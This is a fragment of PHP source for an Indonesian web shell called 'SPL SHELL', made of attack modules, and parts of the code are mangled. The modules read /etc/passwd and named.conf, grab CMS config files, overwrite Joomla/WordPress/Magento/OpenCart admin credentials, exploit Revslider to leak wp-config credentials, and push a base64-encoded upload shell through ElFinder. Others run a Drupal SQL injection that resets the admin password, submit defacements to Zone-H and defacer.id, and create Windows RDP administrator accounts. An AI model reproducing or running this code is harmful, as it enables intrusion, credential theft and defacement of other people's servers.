# Cant access this file on server -> [ /etc/named.conf ]"; } else { echo "
| Domains | Users | symlink | "; foreach($read_named_conf as $subject){ if(eregi('zone',$subject)){ preg_match_all('#zone "(.*)"#',$subject,$string); flush(); if(strlen(trim($string[1][0])) >2){ $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name'] ; @symlink('/','sym/root'); $name = $string[1][0]; $iran = '.ir'; $israel = '.il'; $indo = '.id'; $sg12 = '.sg'; $edu = '.edu'; $gov = '.gov'; $gose = '.go'; $gober = '.gob'; $mil1 = '.mil'; $mil2 = '.mi'; $malay = '.my'; $china = '.cn'; $japan = '.jp'; $austr = '.au'; $porn = '.xxx'; $as = '.uk'; $calfn = '.ca'; if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]) or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0]) or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0])) { $name = "
| '.$UID['name']." | Symlink |
| S. No. | Domains | Users | Symlink |
| " . $dcount . " | ".$domains[1][0]." | ".$user['name']." | Symlink |
| S. No. | Users | Symlink |
| " . $dcount . " | " . $matches . " | "; echo "Symlink |
Symlink2 SPL SHELL
| ID | Users | Symlink |
| " . $dcount . " | " . $matches . " | "; echo "Symlink |
Config Grabber SPL SHELL
"; echo ""; } } elseif (isset($_GET[hex('mass_user')])) { if($_POST['hajar']) { if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) { print "username atau password harus lebih dari 6 karakter"; } else { $user_baru = $_POST['user_baru']; $pass_baru = md5($_POST['pass_baru']); $conf = $_POST['config_dir']; if(preg_match("/^http:\/\//", $conf) OR preg_match("/^https:\/\//", $conf)) { $get = curl($conf); preg_match_all('//', $get, $link); foreach($link[1] as $link_config) { $scan_conf[] = "$link_config.txt"; } } else { $scan_conf = scandir($conf); } foreach($scan_conf as $file_conf) { $config = file_get_contents("$conf/$file_conf"); if(preg_match("/JConfig|joomla/",$config)) { $dbhost = getValue($config,"host = '","'"); $dbuser = getValue($config,"user = '","'"); $dbpass = getValue($config,"password = '","'"); $dbname = getValue($config,"db = '","'"); $dbprefix = getValue($config,"dbprefix = '","'"); $prefix = $dbprefix."users"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result['id']; $site = getValue($config,"sitename = '","'"); $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'"); print "Config => ".$file_conf."
"; print "CMS => Joomla
"; if($site == '') { print "Sitename => ".color(1, 1, "Can't get domain name")."
"; } else { print "Sitename => $site
"; } if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."
"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
"; } mysql_close($conn); } elseif(preg_match("/WordPress/",$config)) { $dbhost = getValue($config,"DB_HOST', '","'"); $dbuser = getValue($config,"DB_USER', '","'"); $dbpass = getValue($config,"DB_PASSWORD', '","'"); $dbname = getValue($config,"DB_NAME', '","'"); $dbprefix = getValue($config,"table_prefix = '","'"); $prefix = $dbprefix."users"; $option = $dbprefix."options"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC"); $result = mysql_fetch_array($q); $id = $result[ID]; $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC"); $result2 = mysql_fetch_array($q2); $target = $result2[option_value]; if($target == '') { $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $url_target = "Login => $target/wp-login.php
"; } $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'"); print "Config => ".$file_conf."
"; print "CMS => Wordpress
"; print $url_target; if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."
"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
"; } mysql_close($conn); } elseif(preg_match("/Magento|Mage_Core/",$config)) { $dbhost = getValue($config,"
"; } else { $url_target = "Login => $target/admin/
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); print "Config => ".$file_conf."
"; print "CMS => Magento
"; print $url_target; if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."
"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
"; } mysql_close($conn); } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) { $dbhost = getValue($config,"'DB_HOSTNAME', '","'"); $dbuser = getValue($config,"'DB_USERNAME', '","'"); $dbpass = getValue($config,"'DB_PASSWORD', '","'"); $dbname = getValue($config,"'DB_DATABASE', '","'"); $dbprefix = getValue($config,"'DB_PREFIX', '","'"); $prefix = $dbprefix."user"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC"); $result = mysql_fetch_array($q); $id = $result[user_id]; $target = getValue($config,"HTTP_SERVER', '","'"); if($target == '') { $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $url_target = "Login => $target
"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); print "Config => ".$file_conf."
"; print "CMS => OpenCart
"; print $url_target; if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."
"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
"; } mysql_close($conn); } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { $dbhost = getValue($config,'server = "','"'); $dbuser = getValue($config,'username = "','"'); $dbpass = getValue($config,'password = "','"'); $dbname = getValue($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == '') { $target2 = $result[url]; $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; if($target2 == '') { $url_target2 = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => $target2/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => $target2/lokomedia/adminweb
"; } else { $url_target2 = "Login => $target2 [ gatau admin login nya dimana :p ]
"; } } } else { $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => $target/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => $target/lokomedia/adminweb
"; } else { $url_target = "Login => $target [ gatau admin login nya dimana :p ]
"; } } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); print "Config => ".$file_conf."
"; print "CMS => Lokomedia
"; if(preg_match("/Can't get domain name/", $url_target)) { print $url_target2; } else { print $url_target; } if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."
"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."
"; } mysql_close($conn); } } } } else { print "
Mass User Changer SPL SHELL
"; } } elseif (isset($_GET[hex('mass_title')])) { echo "
Mass Title Changer SPL SHELL
"; if($_POST['gass']) { echo "
";
if($target == '') {
echo "URL: error, gabisa ambil nama domain nya -> ";
} else {
echo "URL: $target/?p=$id -> ";
}
if(!$update OR !$conn OR !$db) {
echo "MySQL Error: ".mysql_error()."
"; } else { echo "sukses di ganti.
"; } echo "
";
mysql_close($conn);
}
}
}
elseif (isset($_GET[hex('bypass')])) {
echo ""; } else { echo "sukses di ganti.
"; } echo "
"; echo "
Bypasser SPL SHELL
"; echo ""; echo "
"; } elseif (isset($_GET[hex('bypass-cf')])) { echo ' '; $target = $_POST['target']; # Bypass From FTP if($_POST['krz'] == "ftp") { $ftp = gethostbyname("ftp."."$target"); echo "
Correct ip is : $ftp
"; } # Bypass From Direct-Connect if($_POST['krz'] == "direct-conntect") { $direct = gethostbyname("direct-connect."."$target"); echo "Correct ip is : $direct
"; } # Bypass From Webmail if($_POST['krz'] == "webmail") { $web = gethostbyname("webmail."."$target"); echo "Correct ip is : $web
"; } # Bypass From Cpanel if($_POST['krz'] == "cpanel") { $cpanel = gethostbyname("cpanel."."$target"); echo "Correct ip is : $cpanel
"; } } elseif (isset($_GET[hex('bypass-server')])) { $dir = path(); ?>"; ""; echo $liz0; echo $liz0zim; echo "
"; } elseif (isset($_GET[hex('bypass-passwd')])) { echo '
Bypass Etc/Passwd
Bypass User
'; if ($_POST['awkuser']) { echo"
"; } if ($_POST['systuser']) { echo"
"; } if ($_POST['passthuser']) { echo"
"; } if ($_POST['exuser']) { echo"
"; } if ($_POST['shexuser']) { echo"
"; } if($_POST['syst']) { echo"
"; } if($_POST['passth']) { echo"
"; } if($_POST['ex']) { echo"
"; } if($_POST['shex']) { echo"
"; } echo '
"; } } elseif (isset($_GET[hex('exploiter')])) { echo "
"; echo "
Exploiter SPL SHELL
"; echo ""; echo "
"; } elseif (isset($_GET[hex('csrf')])) { echo '
CSRF Exploiter SPL SHELL
*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc
'; $url = $_POST["url"]; $pf = $_POST["pf"]; $d = $_POST["d"]; if($d) { echo "
Upload Your Files
"; } } elseif (isset($_GET[hex('revslider')])) { echo "Revslider Exploiter SPL SHELL
"; function findit($mytext, $starttag, $endtag) { $posLeft = stripos($mytext, $starttag) + strlen($starttag); $posRight = stripos($mytext, $endtag, $posLeft + 1); return substr($mytext, $posLeft, $posRight - $posLeft); } error_reporting(0); set_time_limit(0); $ya = $_POST['sikat']; $co = $_POST['site']; if ($ya) { $e = explode(" ", $co); foreach ($e as $bda) { //echo '
'.$bda; $linkof = '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'; $dn = ($bda) . ($linkof); $file = @file_get_contents($dn); if (eregi('DB_HOST', $file) and !eregi('FTP_USER', $file)) { echo '
"; echo "DB user : " . findit($file, "DB_USER', '", "');") . "
"; echo "DB pass : " . findit($file, "DB_PASSWORD', '", "');") . "
"; echo "DB host : " . findit($file, "DB_HOST', '", "');") . "
"; } elseif (eregi('DB_HOST', $file) and eregi('FTP_USER', $file)) { echo '
"; echo "FTP pass : " . findit($file, "FTP_PASS','", "');") . "
"; echo "FTP host : " . findit($file, "FTP_HOST','", "');") . "
"; } else { echo "
"; echo "
ElFinder Mass Exploiter
'; echo ''; function ngirim($url, $isi) { $ch = curl_init("$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $isi); curl_setopt($ch, CURLOPT_COOKIEJAR, 'coker_log'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'coker_log'); $data3 = curl_exec($ch); return $data3; } $target = explode(" ", $_POST['target']); if ($_POST['x']) { foreach ($target as $korban) { $nama_doang = "SPL.php"; $isi_nama_doang = "PD9waHAgCmlmKCRfUE9TVCl7CmlmKEBjb3B5KCRfRklMRVNbImYiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmIl1bIm5hbWUiXSkpewplY2hvIjxiPmJlcmhhc2lsPC9iPi0tPiIuJF9GSUxFU1siZiJdWyJuYW1 lIl07Cn1lbHNlewplY2hvIjxiPmdhZ2FsIjsKfQp9CmVsc2V7CgllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV 0IG5hbWU9diB0eXBlPXN1Ym1pdCBpZD12IHZhbHVlPXVwPjxicj4iOwp9Cgo/Pg=="; $decode_isi = base64_decode($isi_nama_doang); $encode = base64_encode($nama_doang); $fp = fopen($nama_doang, "w"); fputs($fp, $decode_isi); echo "[!] $korban
"; echo "# Upload[1] ......
"; $url_mkfile = "$korban?cmd=mkfile&name=$nama_doang&target=l1_Lw"; $b = file_get_contents("$url_mkfile"); $post1 = array("cmd" => "put", "target" => "l1_$encode", "content" => "$decode_isi",); $post2 = array("current" => "8ea8853cb93f2f9781e0bf6e857015ea", "upload[]" => "@$nama_doang",); $output_mkfile = ngirim("$korban", $post1); if (preg_match("/$nama_doang/", $output_mkfile)) { echo "# Upload Sukses 1... => $nama_doang
# Coba buka di ../../elfinder/files/...
"; } else { echo "# Upload Gagal Cok! 1
# Uploading 2..
"; $upload_ah = ngirim("$korban?cmd=upload", $post2); if (preg_match("/$nama_doang/", $upload_ah)) { echo "# Upload Sukses 2 => $nama_doang
# Coba buka di ../../elfinder/files/...
"; } else { echo "# Upload Gagal Lagi Cok! 2
"; } } } } } elseif (isset($_GET[hex('drupal')])) { echo "
"; echo "
Drupal Mass Exploiter
"; $drupal = ($_GET["drupal"]); if ($drupal == 'drupal') { $filename = $_FILES['file']['name']; $filetmp = $_FILES['file']['tmp_name']; echo ""; move_uploaded_file($filetmp, $filename); } error_reporting(0); if (isset($_POST['submit'])) { function exploit($url) { $post_data = "name[0;update users set name %3D 'SPL' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "',status %3D'1' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in"; $params = array('http' => array('method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded ", 'content' => $post_data)); $ctx = stream_context_create($params); $data = file_get_contents($url . '/user/login/', null, $ctx); if ((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) || (stristr($data, 'FcUk Crap') && $data)) { $fp = fopen("exploited.txt", 'a+'); fwrite($fp, "Exploitied User: SPL Pass: SPL =====> {$url}/user/login"); fwrite($fp, " "); fwrite($fp, "--------------------------------------------------------------------------------------------------"); fwrite($fp, " "); fclose($fp); echo "Success:SPL Pass:SPL => {$url}/user/login
"; } else { echo "Failed => {$url}/user/login
"; } } $urls = explode(" ", $_POST['url']); foreach ($urls as $url) { $url = @trim($url); echo exploit($url); } } } elseif (isset($_GET[hex('auto_tools')])) { echo '
Auto Tools SPL SHELL
'; } elseif (isset($_GET[hex('zone-h')])) { ?>
"; ++$i; } echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!"; } ?>
Defacer ID Submit SPL SHELL
"; $site = explode("\r\n", $_POST['sites']); $go = $_POST['go']; $hekel = $_POST['hekel']; $tim = $_POST['tim']; if($go) { foreach($site as $sites) { $zh = $sites; $form_url = "https://www.defacer.id/notify"; $data_to_post = array(); $data_to_post['attacker'] = "$hekel"; $data_to_post['team'] = "$tim"; $data_to_post['poc'] = 'SQL Injection'; $data_to_post['url'] = "$zh"; $curl = curl_init(); curl_setopt($curl,CURLOPT_URL, $form_url); curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post)); curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm) curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html'); $result = curl_exec($curl); echo $result; curl_close($curl); echo "
"; } } } elseif (isset($_GET[hex('jumping')])) { echo "
Jumping SPL SHELL
"; echo ""; } } elseif (isset($_GET[hex('fake-root')])) { ob_start(); if(!preg_match("#/home/$user/public_html#", $_SERVER['DOCUMENT_ROOT'])) die("I Think this server is not using shared host "); function reverse($url) { $ch = curl_init("http://domains.yougetsignal.com/domains.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket="); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); $resp = curl_exec($ch); $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) )))); $array = explode(",,", $resp); unset($array[0]); foreach($array as $lnk) { $lnk = "http://$lnk"; $lnk = str_replace(",", "", $lnk); echo $lnk."\n"; ob_flush(); flush(); } curl_close($ch); } function cek($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $resp = curl_exec($ch); return $resp; } $cwd = getcwd(); $ambil_user = explode("/", $cwd); $user = $ambil_user[2]; if($_POST['reverse']) { $site = explode("\r\n", $_POST['url']); $file = $_POST['file']; foreach($site as $url) { $cek = cek("$url/~$user/$file"); if(preg_match("/hacked/i", $cek)) { echo "URL: $url/~$user/$file -> Fake Root!"; $etc = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd"); while($passwd = fgets($etc)) { if($passwd == '' || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach($user_jumping[1] as $user_Exc_jump) { $user_jumping_dir = "/home/$user_Exc_jump/public_html"; if(is_readable($user_jumping_dir)) { $i++; $jrw = "[R] $user_jumping_dir"; if(is_writable($user_jumping_dir)) { $jrw = "[RW] $user_jumping_dir"; } echo $jrw; if(function_exists('posix_getpwuid')) { $domain_jump = file_get_contents("/etc/named.conf"); if($domain_jump == '') { echo " => ( gabisa ambil nama domain nya )
"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj")); $user_jumping_url = $user_jumping_url['name']; if($user_jumping_url == $user_Exc_jump) { echo " => ( $dj )
"; break; } } } } else { echo "
"; } } } } } if($i == 0) { } else { echo "
Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST']).""; } echo "
"; } } } else { echo "
Fake Root SPL SHELL
NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.
"; } } elseif (isset($_GET[hex('adminer')])) { echo "
"; echo "
Adminer SPL SHELL
"; echo ""; if (isset($_POST['do_adminer'])) { $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); function adminer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if(file_exists('adminer.php')) { echo "
------------------------------
IP: ".gethostbyname($_SERVER['HTTP_HOST'])."
Username: $user
Password: $pass
------------------------------
[ STATUS ]
------------------------------
"; if($add_user) { echo "[add user] -> Berhasil
"; } else { echo "[add user] -> Gagal
"; } if($add_groups1) { echo "[add localgroup Administrators] -> Berhasil
"; } elseif($add_groups2) { echo "[add localgroup Administrator] -> Berhasil
"; } elseif($add_groups3) { echo "[add localgroup Administrateur] -> Berhasil
"; } else { echo "[add localgroup] -> Gagal
"; } echo "------------------------------
"; } } elseif($_POST['s_opsi']) { $user = htmlspecialchars($_POST['r_user']); if($_POST['opsi'] == '1') { $cek = exe("net user $user"); echo "Checking username $user ....... "; if(preg_match("/$user/", $cek)) { echo "[ Sudah ada ]
------------------------------
$cek"; } else { echo "[ belum ada ]"; } } elseif($_POST['opsi'] == '2') { $cek = exe("net user $user SPL"); if(preg_match("/$user/", exe("net user"))) { echo "[change password: SPL] -> "; if($cek) { echo "Berhasil"; } else { echo "Gagal"; } } else { echo "[INFO] -> user $user belum ada"; } } elseif($_POST['opsi'] == '3') { $cek = exe("net user $user /DELETE"); if(preg_match("/$user/", exe("net user"))) { echo "[remove user: $user] -> "; if($cek) { echo "Berhasil"; } else { echo "Gagal"; } } else { echo "[INFO] -> user $user belum ada"; } } else { // } } else { echo "
RDP SPL SHELL
"; echo "-- Create RDP ---- Option --
"; } } else { echo "Fitur ini hanya dapat digunakan dalam Windows Server."; } } elseif (isset($_GET[hex('wp-hijack')])) { echo '